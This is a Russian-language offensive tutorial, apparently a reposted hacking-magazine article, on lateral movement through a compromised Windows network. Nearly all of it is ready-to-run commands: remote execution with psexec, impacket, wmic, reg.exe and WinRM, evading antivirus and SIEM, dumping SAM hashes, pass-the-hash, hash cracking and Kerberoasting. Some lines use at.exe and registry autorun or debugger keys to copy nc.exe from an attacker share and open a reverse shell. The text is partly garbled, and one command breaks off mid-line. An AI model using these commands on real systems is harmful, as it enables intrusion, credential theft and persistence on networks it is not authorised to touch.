Про­ник­новение в ата­куемую сеть — толь­ко пер­вый этап взло­ма. На вто­ром эта­пе необ­ходимо в ней зак­репить­ся, получить учет­ные записи поль­зовате­лей и обес­печить воз­можность запус­ка про­изволь­ного кода. В сегод­няшней заметке мы погово­рим о способах, поз­воля­ющих добить­ся данной цели, а так­же о том, как выпол­няет­ся боковое переме­щение в ском­про­мети­рован­ной сети. 

Пос­ле такого как ты про­ник за внеш­ний периметр и попал во внут­реннюю сеть ком­пании, необ­ходимо рас­ширить в ней собс­твен­ное при­сутс­твие, в случае если пытаешься най­ти там что‑то инте­рес­ное. Как ни стран­но, чем боль­ше раз­мер внут­ренней сети ком­пании, то про­ще ее взло­мать. И нап­ротив, в случае если ком­пания сов­сем неболь­шая, сеть взло­мать порою край­не слож­но. Отчего так? Чем боль­ше сеть, что боль­ше в ней имеет возможность встре­тить­ся уяз­вимых или же небезо­пас­но нас­тро­енных ком­понен­тов. При этом час­то ком­про­мета­ция одно­го узла вле­чет за собой ком­про­мета­цию сра­зу мно­жес­тва смеж­ных с ним узлов.

    Мы не станем дискутировать про главные уяз­вимос­ти Windows, ата­ки в локаль­ных сетях и спо­собы под­нять при­виле­гии в сре­де Active Directory. Вмес­то это­го погово­рим исклю­читель­но о легаль­ных вещах: в каких пота­енных угол­ках Windows мож­но най­ти учет­ные записи и собственно как с ними потом работать. Все пред­став­ленные даль­ше спо­собы не счи­тают­ся уяз­вимос­тями, а пред­став­ляют из себя трю­ки by design, сле­дова­тель­но, при гра­мот­ном исполне­нии это пол­ностью легаль­ные про­цеду­ры.
   Все при­меры осно­ваны на реаль­ных ситу­ациях, с которы­ми мож­но стол­кнуть­ся при переме­щении по наиболее нас­тоящим внут­ренним сетям. Поэто­му, как обыч­но, кос­немся проб­лемы мак­сималь­но негромкого переме­щения с воз­можностью бай­паса анти­виру­сов, а так­же сде­лаем упор на то, какие сетевые пор­ты нам для это­го пот­ребу­ются.

Стратегия бокового перемещения

    Боковое переме­щение — это одновре­мен­ное сочета­ние 2-ух тех­ник:

              -аутен­тифици­рован­ного уда­лен­ного выпол­нения кода;
              -из­вле­чения сек­ретной информа­ции пос­ле получе­ния дос­тупа.

    Цик­личное, пос­ледова­тель­ное пов­торение данных шагов порою поз­воля­ет от одно­го‑единс­твен­ного взло­ман­ного ПК дой­ти до пол­ной ком­про­мета­ции всей сетевой инфраструк­туры. Обыч­но боковое переме­щение, как вся­кое другое переме­щение, прес­леду­ет 1 из сле­дующих целей:

             -пе­рех­ват управле­ния кон­трол­лерами домена;
             -дос­тижение изо­лиро­ван­ных кри­тичес­ких сетевых сег­ментов (нап­ример, АСУ ТП, SWIFT);
             -по­иск кри­тичес­кой информа­ции на ПК (сек­ретные докумен­ты, пла­теж­            ные рек­визиты и так далее).
Од­нако для дос­тижения всякой из перечис­ленных целей тре­буют­ся все свежие учет­ные дан­ные, что­бы у ата­кующе­го была воз­можность переме­щать­ся по сети и получать дос­туп ко все боль­шему количес­тву ПК. Прод­вижение по внут­ренней сети ред­ко обхо­дит­ся без взя­тия кон­трол­лера домена, пос­коль­ку взя­тие домена озна­чает авто­мати­чес­кое получе­ние дос­тупа прак­тичес­ки к каж­дому узлу сети. Собственно что каса­ется admins hunting, при дос­тижении кон­трол­лера домена имеет возможность показать­ся, собственно что разведка при­виле­гиро­ван­ных учет­ных записей — это сле­пое уга­дыва­ние. Но на самом деле инфраструк­тура Active Directory и сама Windows рас­кры­вают дос­таточ­но информа­ции прос­тому домен­ному поль­зовате­лю, зачас­тую поз­воляя рас­счи­тать нуж­ное нап­равле­ние прод­вижения и спла­ниро­вать точ­ную мно­гос­тупен­чатую цепоч­ку взло­мов ещё в самом начале боково­го переме­щения.

      Пос­ле взя­тия кон­трол­леров домена иног­да быва­ет необ­ходимо дви­гать­ся даль­ше — в некоторый осо­бо охра­няемый сег­мент, пред­став­ляющий собой объ­екты «биз­нес‑рис­ка». Это имеет возможность быть сег­мент АСУ ТП, вме­шатель­ство в тех­нологи­чес­кий про­цесс, дос­туп в сег­мент SWIFT, в случае если мы име­ем дело с бан­ками, или же прос­то дос­туп на ПК генераль­ного дирек­тора. В каж­дом слу­чае мы можем стол­кнуть­ся с раз­ными слож­ностя­ми боково­го переме­щения, о коих пой­дет речь даль­ше.

Удаленное выполнение кода в Windows

   Часть инс­тру­мен­тов заг­ружа­ет на target исполня­емый файл служ­бы, пыта­ясь обес­печить нам удоб­ный инте­рак­тивный режим. Но здесь кро­ется опас­ность: эти сер­висы зачас­тую станут заб­локиро­ваны анти­виру­сом. Плюс к это­му IP ата­кующе­го имеет возможность быть заб­локиро­ван, собственно что затор­мозит переме­щение. И SOC узна­ет о том, собственно что в сеть кто‑то про­ник.

    Боль­шую часть боково­го переме­щения мы будем выпол­нять с помощью замеча­тель­ного Python-пакета impacket. Для его уста­нов­ки тре­бует­ся выпол­нить коман­ду pip install impacket. Пос­ле уста­нов­ки необ­ходимые исполня­емые фай­лы будут находить­ся в пап­ке impacket/examples, рас­положе­ние которой под­ска­жет коман­да pip show -f impacket.

MSRPC

     Это реали­зация DCERPC от Microsoft. По сути, рас­ширя­ет откры­тый DCERPC при помощи дос­тупа через име­нован­ные пай­пы с исполь­зовани­ем про­токо­ла SMB. Глав­ным обра­зом исполь­зует 445-й TCP-порт. Перечис­лить дос­тупные пай­пы по сло­варю на SMB поможет модуль auxiliary/scanner/smb/pipe_auditor.

psexec.exe

-происхождение: sysinternals
-AV-риск: отсутс­тву­ет
-используемые порты: 135, 445, 4915x/TCP

    На­чиная говорить об уда­лен­ном исполне­нии кода в Windows, нель­зя не упо­мянуть небезыз­вес­тный psexec от Мар­ка Рус­синови­ча. Дан­ная прог­рамма поль­зует­ся оди­нако­вой популяр­ностью и у адми­нис­тра­торов, и у пен­тесте­ров. Прин­цип ее работы зак­люча­ется в копиро­вании исполня­емо­го фай­ла через сетевой ресурс «ADMIN$» (445/TCP) с пос­леду­ющим уда­лен­ным соз­дани­ем и запус­ком служ­бы для это­го исполня­емо­го фай­ла через DCERPC (135,4915x/TCP). Пос­ле запус­ка служ­бы про­исхо­дит обыч­ное сетевое вза­имо­дей­ствие с уда­лен­ной коман­дной стро­кой:

            psexec.exe -u admin \\target cmd

     Глав­ный плюс для нас в том, что сер­верный ком­понент psexecsvc.exe под­писан сер­тифика­том Sysinternals (который при­над­лежит Microsoft) и, сле­дова­тель­но, стоп­роцен­тно легитим­ная прог­рамма. Так­же к явным дос­тоинс­твам клас­сичес­кого psexec.exe отно­сит­ся спо­соб­ность выпол­нять код в ука­зан­ных поль­зователь­ских сеан­сах:

          psexec.exe -u admin -i 2 \\target shutdown /l

psexec.ру

          -происхождение: Python-пакет impacket
          -AV-риск: есть
          -используемые порты: 445/TCP

      От­личная аль­тер­натива для поль­зовате­лей Linux. Одна­ко этот инс­тру­мент поч­ти навер­няка под­нимет анти­вирус­ную тре­вогу. Как было ска­зано, все дело в служ­бе, которая копиру­ется на уда­лен­ный хост. Это мож­но испра­вить, ука­зав в реали­зации метода createService() в /usr/local/lib/python3.7/dist-packages/impacket/examples/serviceinstall.py про­изволь­ную коман­ду, которая будет выпол­нена вмес­то запус­каемой служ­бы уда­лен­ного адми­нис­три­рова­ния.
С помощью произвольной команды можно скрыть запуск службы удаленного администрирования. 

     Что­бы psexec.py не ско­пиро­вал палев­ный ком­понент, ука­зыва­ем при­нуди­тель­но, какой файл исполь­зовать в качес­тве служ­бы. И, пос­коль­ку мы уже вруч­ную про­писа­ли коман­ду, этим фай­лом может быть что угод­но:

      psexec.py -file somefile.txt admin@target

    Та­ким обра­зом, мы нап­рямую выпол­нили коман­ду mkdir c:\pwn, что, конеч­но же, не вызовет реак­ции со сто­роны анти­виру­сов. Одна­ко подоб­ная модифи­кация psexec лиша­ет нас того удобс­тва исполь­зования, которое было изна­чаль­но.

winexe

             —происхождение: пакет winexe
             -AV-риск: есть
             -используемые порты: 445/TCP

     Бо­лее ста­рый натив­ный ана­лог psexec под Linux. Как и psexec, откры­вает уда­лен­ную инте­рак­тивную коман­дную стро­ку:

            winexe -U admin //target cmd

      В целом он пол­ностью иден­тичен дру­гим подоб­ным инс­тру­мен­там, одна­ко реже обна­ружи­вает­ся анти­виру­сами. Но все же нель­зя ска­зать, что winexe на сто про­цен­тов безопа­сен. Тем не менее его мож­но исполь­зовать для подс­тра­хов­ки на слу­чай, если psexec.py вдруг не сра­бота­ет.

smbexec.py

            -происхождение: Python-пакет impacket / встро­енный ком­понент Windows
           -AV-риск: есть
           -используемые порты: 445/TCP

    Уп­рощен­ный вари­ант psexec, так­же соз­дающий служ­бу, толь­ко исполь­зует­ся при этом исклю­читель­но MSRPC, а дос­туп к управле­нию служ­бами устро­ен через SMB-пайп svcctl:

         smbexec.py -mode SHARE admin@target

   В резуль­тате будет открыт дос­туп к инте­рак­тивной коман­дной стро­ке.

services.py

   —происхождение: Python-пакет impacket
   —AV-риск: отсутствует
   —используемые порты: 445/TCP


   Еще более упро­щен­ный вари­ант psexec. Тут пред­полага­ется, что мы сами руч­ками дела­ем то, что дела­ет за нас psexec. С помощью services.py мы можем пос­мотреть спи­сок служб:

          services.py admin@target list

   Соз­дать новую служ­бу, ука­зав про­изволь­ную коман­ду:

          services.py admin@target create -name 1 -display 1 -path 'cmd arg1 arg2'

   За­пус­тить толь­ко что соз­данную служ­бу:

           services.py admin@target start -name 1

За­мес­ти сле­ды и уда­лить ее:

services.py admin@target delete -name 1
atexec.py/at.exe
   Все это дает нам еще один спо­соб сле­пого неин­терак­тивно­го исполне­ния команд, то есть без резуль­тата. Зато это на сто про­цен­тов безопас­ный спо­соб, и он не раз выручал меня, ког­да анти­виру­сы на уда­лен­ном хос­те уби­вали весь левый софт.

atexec.py/at.exe

   -происхождение: Python-пакет impacket / встро­енный ком­понент Windows
   -AV-риск: отсутс­тву­ет
   -используемые порты: 445/TCP

   Служ­ба пла­ниров­щика заданий Windows, дос­тупная через smb-пайп atsvc. Поз­воля­ет уда­лен­но помес­тить в пла­ниров­щик задачу, которая выпол­нится в ука­зан­ный момент.

   В обо­их слу­чаях это не инте­рак­тивное средс­тво уда­лен­ного исполне­ния кода. При исполь­зовании at.exe про­исхо­дит сле­пое исполне­ние команд:

           at.exe \\target 13:37 "cmd /c copy \\attacker\a\nc.exe && nc -e                \windows\system32\cmd.exe attacker 8888"

Вся раз­ница в том, собственно что резуль­тат выпол­нения коман­ды станет нап­равлен в файл и про­читан сквозь сетевой ресурс ADMIN$. Для сво­ей работы инс­тру­мент тре­бует, что­бы часы у attacker и target были нас­тро­ены на одно вре­мя с точ­ностью до минуты.

reg.exe

          -происхождение: ком­понент Windows
          -AV-риск: отсутс­тву­ет
          -ис­поль­зуемые пор­ты: 445/TCP

   Уда­лен­ный дос­туп к реес­тру с пра­вами на запись на самом деле нам дает RCE. Для сво­ей работы инс­тру­мент тре­бует SMB-пайп winreg. По умол­чанию служ­ба уда­лен­ного реес­тра запуще­на толь­ко на сер­верных ОС Windows 2003–2019. А вот извес­тный трюк с авто­заг­рузкой (отло­жен­ное RCE):

reg.exe add \\target\HKLM\software\microsoft\windows\currentversion\run /v testprog /t REG_SZ /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"

   Здесь исполь­зует­ся обра­бот­чик запус­ка прог­раммы. Если прог­рамма запус­кает­ся на ПК час­то, то получим поч­ти мгно­вен­ное RCE:

reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t reg_sz /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"

   Мой любимый трюк с бэк­дором в RDP:

reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Exe
DCERPC

DCERPC

   Ис­поль­зует пор­ты 135/TCP и 4915x/TCP, где 4915x — динами­чес­ки наз­нача­емые пор­ты. Иног­да могут исполь­зовать­ся пор­ты из дру­гого диапа­зона.

   Очень час­то сетевые адми­нис­тра­торы и безопас­ники, которые в кур­се наибо­лее рас­простра­нен­ных век­торов атак, в качес­тве mitigation прос­то бло­киру­ют порт 445/TCP. Тем самым они дела­ют неп­ригод­ным исполь­зование psexec и мно­гих дру­гих спо­собов, опи­сан­ных выше. Одна­ко, как было ска­зано ранее, Windows име­ет мно­жес­тво спо­собов уда­лен­ного исполне­ния кода, и DCERPC пре­дос­тавля­ет нам такую аль­тер­натив­ную воз­можность, в некото­рых слу­чаях откры­вая дос­туп к тем же RPC-интерфей­сам. По сути, мы будем исполь­зовать не сам DCERPC, а то, что работа­ет по его тех­нологии, нап­ример WMI.

wmiexec.py

        — про­исхожде­ние: Python-пакет impacket
        -AV-риск: есть
        -ис­поль­зуемые пор­ты: 135, (445), 4915x/TCP

   Скрипт wmiexec.py дает воз­можность выпол­нить код в инте­рак­тивном режиме:
wmiexec.py admin@target

   Од­нако было замече­но, что хоть wmiexec.py и не запус­кает на уда­лен­ной сто­роне никаких сто­рон­них исполня­емых фай­лов, анти­виру­сы его иног­да ловят. Кро­ме того, wmiexec.py полезет за резуль­татом на шару ADMIN$, чем задей­ству­ет порт 445/TCP. Более безопас­ным вари­антом будет сле­пое RCE:
   wmiexec.py -nooutput admin@target "mkdir c:\pwn"

dcomexec.py

 
          Про­исхожде­ние: Python-пакет impacket
          AV-риск: отсутс­тву­ет
          Ис­поль­зуемые пор­ты: 135, (445), 4915x/TCP

   Инс­тру­мент, похожий на wmiexec.py. По умол­чанию он инте­рак­тивный, а за резуль­татом тоже идет на сетевой диск ADMIN$, исполь­зуя порт 445/TCP:
dcomexec.py admin@target

   Что­бы обой­ти исполь­зование пор­та 445/TCP, мож­но огра­ничить­ся сле­пым исполне­нием кода:
     dcomexec.py -nooutput admin@10.0.0.64 "mkdir c:\123"

wmis

      

       Про­исхожде­ние: пакеты wmi-client, wmis
       AV-риск: есть
      Ис­поль­зуемые пор­ты: 135, 4915x/TCP

   Су­щес­тву­ет неболь­шая путани­ца c ути­литой wmis: она при­сутс­тву­ет сра­зу в двух пакетах с оди­нако­вым име­нем. Для ее вызова исполь­зует­ся сле­дующая коман­да:
           wmis -U admin //target "mkdir c:\pwn"

   Прин­ципи­аль­ной раз­ницы меж­ду ними я не заметил, за исклю­чени­ем того, что одна может не сра­ботать.

     wmic.exe

           Про­исхожде­ние: ком­понент Windows
           AV-риск: отсутс­тву­ет
           используемые порты: 135, 4915x/TCP

   Дос­таточ­но при­коль­ный спо­соб сле­пого исполне­ния кода «из короб­ки» для всех ОС Windows:
wmic.exe /user:username /password:s3cr3t /node:target process call create ‘»c:\1.bat»
Единс­твен­ная коман­да Windows, которая неин­терак­тивно при­нима­ет логин и пароль через опции, что поз­воля­ет вызывать ее отку­да угод­но. Дан­ная коман­да потом нам силь­но поможет получить админ­скую учет­ную запись.

   sc.exe

          Про­исхожде­ние: ком­понент Windows
          AV-риск: отсутс­тву­ет
          Ис­поль­зуемые пор­ты: 135, 4915x/TCP

   Наз­начение инс­тру­мен­та — уда­лен­ное управле­ние служ­бами и драй­верами. Ана­логич­но ути­лите services.py мы можем запус­тить про­изволь­ную коман­ду при соз­дании служ­бы:
            sc.exe \\target create testservice binPath= \path\to\prog start=auto
             sc.exe \\target start testservice

   При этом в отли­чие от services.py мы исполь­зуем для это­го сов­сем дру­гие пор­ты, так как здесь задей­ство­ван DCERPC.

WinRM

   Под этим наз­вани­ем скры­вает­ся новое средс­тво уда­лен­ного адми­нис­три­рова­ния Windows Remote Management, появив­шееся в Windows 7/2008. Исполь­зует для сво­ей работы в качес­тве тран­спор­та про­токол HTTP. Но по умол­чанию WinRM работа­ет толь­ко на сер­верных Windows Server 2012–2019, на кли­ент­ских же Windows 7–10 тре­бует­ся вклю­чить его вруч­ную. Тем не менее, ког­да глав­ная цель — это работа­ющий на Windows Server кон­трол­лер домена, дан­ный спо­соб доволь­но полезен.

     Evil-WinRM

        Про­исхожде­ние: Ruby-пакет evil-winrm
        AV-риск: отсутс­тву­ет
        Ис­поль­зуемые пор­ты: 5985/TCP (5986/TCP)

Пре­дос­тавля­ет инте­рак­тивный шелл:
    evil-winrm -u admin -i target

     WinRS.exe/PowerShell

        Про­исхожде­ние: ком­понент Windows
        AV-риск: отсутс­тву­ет
        Ис­поль­зуемые пор­ты: 5985/TCP (5986/TCP)

   С помощью это­го встро­енно­го ком­понен­та ОС Windows мож­но инте­рак­тивно получить уда­лен­ный дос­туп:
        c:> winrs.exe -u admin -r:target cmd
Еще с исполь­зовани­ем PowerShell мож­но выпол­нять коман­ды и коман­дле­ты:
       PS:> Enter-PSSession -ComputerName target -Credential admin
       PS:>Invoke-Command -ScriptBlock {ipconfig;get-process} -ComputerName (Get- Content targets.txt)

RDP

          Про­исхожде­ние: пакеты freerdp2-x11, rdesktop, ком­понент Windows mstsc.exe и дру­гие
         AV-риск: отсутс­тву­ет
         Ис­поль­зуемые пор­ты: 3389/TCP

   Не самый удоб­ный спо­соб исполне­ния кода, не самый пер­спек­тивный в пла­не Pass-the-Hash/Pass-the-Ticket, но работа­ющий поч­ти из короб­ки поч­ти на всех Windows:
       xfreerdp /u:admin /v:target
       rdesktop -u admin target
       mstsc.exe /v:target

GP

   Груп­повые полити­ки могут помочь в исполне­нии кода на хорошо защищен­ных ПК, пол­ностью зак­рытых фай­рво­лом либо рас­положен­ных в изо­лиро­ван­ных сетях. Их исполь­зуют в ситу­ации, ког­да кон­трол­лер домена уже взят, но надо дви­гать­ся даль­ше.

   Тут на помощь при­ходят обыч­ные груп­повые полити­ки. Их пре­иму­щес­тво перед все­ми опи­сан­ными ранее метода­ми сос­тоит в том, что они работа­ют как бы по схе­ме reverse-connect. Если до это­го мы сами ини­цииро­вали под­клю­чение и нам тре­бова­лись откры­тые пор­ты на target (135, 445, 3389, 5985, 4915x), то все, что понадо­бит­ся тут, — это дос­туп к самому DC. Как пра­вило, DC не пря­чет­ся за фай­рво­лами, поэто­му с его адми­нис­три­рова­нием не дол­жно воз­никнуть проб­лем.

   С помощью оснас­тки gpmc.msc соз­даем груп­повую полити­ку для нуж­ного кон­тей­нера. В каком кон­тей­нере находит­ся target, поможет опре­делить оснас­тка dsa.msc. Пос­ле соз­дания полити­ки на событие logon веша­ется скрипт на VBS с про­изволь­ным содер­жимым. Для сра­баты­вания RCE нуж­но ждать, ког­да поль­зователь целевой машины пов­торно вой­дет в сис­тему.
Час­то такие кри­тичес­кие ком­понен­ты внут­ренней инфраструк­туры, как кон­трол­лер домена, охра­няют­ся SIEM. Изме­нение в его кон­фигура­ции, в том чис­ле соз­дание нового объ­екта груп­повой полити­ки, может отсле­живать­ся и очень негатив­но вос­при­нимать­ся безопас­никами. Поэто­му вмес­то соз­дания новой груп­повой полити­ки луч­ше най­ти сущес­тву­ющую и внед­рить нуж­ный код в скрипт, рас­положен­ный в шаре SYSVOL.

   В таб­лице ниже при­веде­ны основные плю­сы и минусы раз­ных методов аутен­тифици­рован­ного исполне­ния кода в дефол­тном исполне­нии (без модифи­каций).

   Каж­дый сам выбира­ет для себя наилучший инс­тру­мент. Но нуж­но знать, собственно что иног­да инс­тру­мент имеет возможность не сра­ботать. И тог­да надобно владеть подс­тра­хов­ку, уметь выпол­нить код ещё нес­коль­кими спо­соба­ми. Данная таб­лица несомненно поможет для тебя сори­енти­ровать­ся.

   Вид­но, собственно что наибо­лее «бес­шумным» спо­собом исполне­ния кода оста­ются ком­понен­ты Windows (winrs.exe, sc.exe, reg.exe, at.exe, wmic.exe, psexec.exe), но не все из их имеют все шансы пох­вастать­ся удобс­твом. Ути­литы sc.exe, reg.exe, at.exe не под­держи­вают переда­чу име­ни поль­зовате­ля сквозь функции, поэто­му для их исполь­зования нуж­но запус­тить cmd от нуж­ного поль­зовате­ля, а в слу­чае с локаль­ной учет­кой — пред­варитель­но соз­дать ее.

   Толь­ко что мы рас­смот­рели раз­ные спо­собы аутен­тифици­рован­ного исполне­ния кода, то есть legal RCE с учет­ной записью. Ныне погово­рим о том, где эти учет­ные записи мож­но най­ти, какие они быва­ют и в каком облике пред­став­лены.

Локальные учетные записи

   При аутен­тифика­ции юзе­ров Windows не раз­лича­ет регистр име­ни поль­зовате­ля: ADMIN для нее то же, что и admin. Это спра­вед­ливо и для локаль­ных, и для домен­ных учет­ных записей.

   Глав­ная идея исполь­зования локаль­ных учет­ных записей сос­тоит в том, что один и тот же пароль может встре­тить­ся на целом ряде ПК и сер­веров. Порою быва­ет, что такие локаль­ные учет­ки при­водят пря­мо на ПК адми­нов или сра­зу на кон­трол­лер домена.

   Ло­каль­ные поль­зовате­ли вмес­те с NTLM-хешами хра­нят­ся в реес­тре по пути HKLM\sam. Сам по себе SAM (Security Account Manager) — это отдель­ный куст реес­тра, который лежит в \windows\system32\config наряду с дру­гими кус­тами. При­меча­тель­но, что даже адми­нис­тра­тор (за исклю­чени­ем system) не может получить дос­туп к HKLM\sam с помощью regedit.exe или нап­рямую ско­пиро­вав файл из сис­темной дирек­тории. Одна­ко коман­да reg.exe поз­воля­ет сде­лать это. Очень важ­но, что мы будем извле­кать сис­темные фай­лы с помощью встро­енных ком­понен­тов ОС, а ана­лизи­ровать их уже на нашей сис­теме. Тем самым мы абсо­лют­но точ­но не вызовем анти­вирус­ной тре­воги.
Для извле­чения локаль­ных учет­ных записей понадо­бит­ся два кус­та реес­тра:
       reg.exe save hklm\sam sam
      reg.exe save hklm\system system

   На сво­ей сто­роне для извле­чения хешей локаль­ных уче­ток исполь­зуем сле­дующую коман­ду:
        creddump7\pwdump.py system sam

   Так­же мож­но вос­поль­зовать­ся уже извес­тным набором impacket:
secretsdump.py -system system -sam sam LOCAL
Пол­ностью авто­мати­зиро­ван­ный под­ход с помощью дос­тупа через remote registry выг­лядит так:
        secretsdump.py admin@target

   В резуль­тате получа­ем хеши в фор­мате Username:RID:LM-hash:NTLM-hash:::. В новых сис­темах (начиная с Windows 7/2008R2) LM-хеш может быть пус­тым, то есть иметь зна­чение aad3b435b51404eeaad3b435b51404ee, так как LM-хеши боль­ше не исполь­зуют­ся по сооб­ражени­ям безопас­ности. Пус­той пароль NTLM-хеша, в свою оче­редь, — это 31d6cfe0d16ae931b73c59d7e0c089c0. Во вре­мя боково­го переме­щения, ког­да хешей очень мно­го, такие хеши надо обна­ружи­вать сра­зу и отбра­сывать, так как огра­ниче­ние пус­того пароля не поз­волит выпол­нить уда­лен­ный вход.

 Pass-the-Hash       

   Windows име­ет хорошо извес­тную и дос­таточ­но забав­ную осо­бен­ность, поз­воля­ющую исполь­зовать для аутен­тифика­ции NTLM-хеш без необ­ходимос­ти выпол­нять его брут­форс и вос­ста­нав­ливать пароль.

   Все извле­чен­ные NTLM-хеши (отличные от 31d6cfe0d16ae931b73c59d7e0c089c0) могут исполь­зовать­ся для аутен­тифика­ции на сле­дующих типах сер­висов:

MSRPC (SMB);
DCERPC (WMI);
WINRM;
MS SQL;
RDP (толь­ко Windows 2012 R2 и Windows 8.1);
LDAP;
IMAP;
HTTP.

   Но выпол­нять код мы можем, как пра­вило, толь­ко на пер­вых пяти сер­висах из спис­ка, для пос­ледних трех более при­мени­мы ата­ки NTLM-relay. Все рас­смот­ренные инс­тру­мен­ты из набора impacket под­держи­вают переда­чу хеша как LM:NTLM, так и с ука­зани­ем толь­ко NTLM-хеша:
psexec.py -hashes LM:NTLM admin@target
wmiexec.py -hashes :NTLM admin@target

   В дис­три­бути­ве Kali есть девять спе­циаль­но соб­ранных популяр­ных инс­тру­мен­тов для реали­зации тех­ники Pass-the-Hash. Все они начина­ются на pth-:


export SMBHASH=aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
pth-winexe -U admin% //target cmd
pth-wmic -U admin% //target "select Name from Win32_UserAccount"
pth-wmis -U admin% //target "cmd.exe /c whoami > c:\out.txt"
pth-smbclient -U admin% //target/c$
pth-rpcclient -U admin% //target
pth-sqsh -U admin -S target
pth-curl http://target/exec?cmd=ipconfig
pth-net rpc group ADDMEM 'Administrators' username -S target -U domain/user
   На­чиная с вер­сии xfreerdp v2.0.0 и толь­ко для Windows 2012 R2 и Windows 8.1 мож­но прой­ти аутен­тифика­цию с исполь­зовани­ем NTLM-хеша по RDP:

./client/X11/xfreerdp /v:target /u:admin /pth:31d6cfe0d16ae931b73c59d7e0c089c0

   Сов­ремен­ный WinRM, к счастью, тоже не под­качал:

evil-winrm -i target -u admin -H 31d6cfe0d16ae931b73c59d7e0c089c0  

    Все при­меры выше — это Pass-the-Hash для Linux. Мы упо­мина­ли инс­тру­мен­ты Windows для уда­лен­ного исполне­ния кода: psexec.exe, at.exe, reg.exe, wmic.exe, sc.exe, winrs.exe.                                                                                        Что­бы исполь­зовать их в ата­ках Pass-the-Hash, нуж­но соз­дать вре­мен­ную сес­сию с помощью mimikatz:

mimikatz# sekurlsa::pth /user:administrator /domain:. /ntlm:31d6cfe0d16ae931b73c59

   За­тем в появив­шемся окне cmd нуж­ный NTLM-хеш будет авто­мати­чес­ки под­став­лен для любой вызыва­емой прог­раммы:

dir \\target\c$

   Кста­ти, пос­читать NTLM-хеш для пароль­ной фра­зы мож­но и самос­тоятель­но:
#!/usr/bin/python2
import hashlib,binascii,sys
if len(sys.argv) == 1:
print binascii.hexlify(hashlib.new('md4', raw_input().decode('utf-8').encode('utf-16le')).digest())
else:
print binascii.hexlify(hashlib.new('md4', sys.argv[1].encode('utf-16le')).digest())

Bruteforce

   Ес­ли тре­бует­ся аутен­тифика­ция на сер­висе, который не под­держи­вает Pass-the-Hash, нап­ример RDP, может быть при­мене­на ата­ка под­бором пароля на дос­таточ­но высоких ско­рос­тях. LM-хеши име­ют конеч­ный набор вход­ных зна­чений, шиф­руют­ся половин­ками по 7 байт и нечувс­тви­тель­ны к регис­тру. Это зна­чит, что абсо­лют­но любой LM-хеш может быть взло­ман. С NTLM-хешем ситу­ация нем­ного слож­нее.

   LM

   Для LM-хешей надеж­нее все­го исполь­зовать rainbows (радуж­ные таб­лицы) ophcrack:
ophcrack -g -d /opt/rainbows/LM -t xp_special,0,1,2,3 -f hashes-lm.txt

   Ли­бо клас­сичес­кий брут­форс по сло­варю:
john --format=lm --wordlist=/usr/share/wordlists/rockyou.txt hashes-lm.txt

   Рань­ше, кста­ти, сущес­тво­вал замеча­тель­ный ки­тай­ский ресурс, который любой LM-хеш мог прев­ратить в plaintext.

   NTLM

   Hashcat и John по‑раз­ному ожи­дают подачу NTLM-хешей. Так, для Hashcat коман­да выг­лядит сле­дующим обра­зом:
31d6cfe0d16ae931b73c59d7e0c089c0
hashcat -a 0 -m 1000 hashes_ntlm.txt /usr/share/wordlists/rockyou.txt
hashcat -a 3 -m 1000 hashes_ntlm.txt -1='?u?d?l' '?1?1?1?1?1?1'

   Для John:
admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hashes_ntlm.txt

   И LM-, и NTLM-хеши могут быть так­же най­дены и для домен­ных поль­зовате­лей при ана­лизе памяти lsass.exe или в базе ntds.dit. Они никог­да не переда­ются по сети как есть, вмес­то это­го они тран­сли­руют­ся в виде NetNTLM/NetNTLMv2-хешей, которые неп­ригод­ны для Pass-the-Hash. Дан­ные типы хешей одно­разо­вые и могут быть исполь­зованы толь­ко в момент переда­чи (тех­ника NTLM-relay) либо для брут­форс‑атак на дос­таточ­но боль­ших ско­рос­тях.

   Билеты Kerberos

   Для исполь­зования Kerberos-билетов при аутен­тифика­ции тре­бует­ся дос­туп к пор­ту 88/TCP кон­трол­лера домена.

Kerberoasting

   Тех­ника kerberoasting чрез­вычай­но полез­на, так как час­то с ее помощью мож­но ском­про­мети­ровать учет­ки адми­нис­тра­торов домена и про­чие инте­рес­ные сер­висные учет­ные записи. Для сво­его при­мене­ния она тре­бует любую домен­ную учет­ную запись.

   Суть ее зак­люча­ется в том, что для некото­рых сер­висных учет­ных записей с кон­трол­лера домена мож­но выг­рузить TGS-билет Kerberos для дос­тупа к той или иной служ­бе. Эти билеты зашиф­рованы паролем (NTLM-хешем) соот­ветс­тву­юще­го поль­зовате­ля. А это зна­чит, что такие билеты могут быть под­верже­ны офлайн‑ата­ке под­бором пароля по сло­варю. Поэто­му край­не важ­но любой ценой дос­тать эти билеты.

   Всех поль­зовате­лей, у которых мож­но выг­рузить TGS-билет, мож­но най­ти поис­ковым LDAP-филь­тром:
     (&(samAccountType=805306368)(servicePrincipalName=*))

   Клас­сичес­ки kerberoasting мож­но выпол­нить мно­гими спо­соба­ми. Нап­ример, с помощью impacket, дей­ствуя из Linux:
      GetUserSPNs.py -request -dc-ip 10.0.0.1 domain.com/username

   Ес­ли ата­кующий исполь­зует Windows, то же самое мож­но сде­лать, нап­ример, с помощью rubeus.exe:
   Rubeus.exe kerberoast /outfile:hashes.txt
   Rubeus ред­ко палит­ся анти­виру­сами. Но если мы рас­сужда­ем о пос­тэкс­плу­ата­ции, то нуж­но быть готовым к самым раз­ным слож­ностям. Точ­кой про­ник­новения во внут­реннюю сеть может стать машина под управле­нием Windows, из‑за чего при­дет­ся исполь­зовать ее небога­тый арсе­нал.

   Су­щес­тву­ет спо­соб выпол­нить kerberoasting базовы­ми средс­тва­ми ОС с помощью PowerShell:
            PS> setspn -T domain.com -Q */*
      PS> Add-Type -AssemblyName System.IdentityModel
      PS> New-Object        System.IdentityModel.Tokens.KerberosRequestorSecurityToken   -     ArgumentList "HTTP/web01.domain.com"
      PS> klist
   Од­нако в этом слу­чае билеты получит Windows, а не мы. Они будут сох­ранены в памяти. К сожале­нию, базовы­ми средс­тва­ми ОС невоз­можно сдам­пить получен­ные Kerberos-билеты в фор­му, при­год­ную для брут­форса.
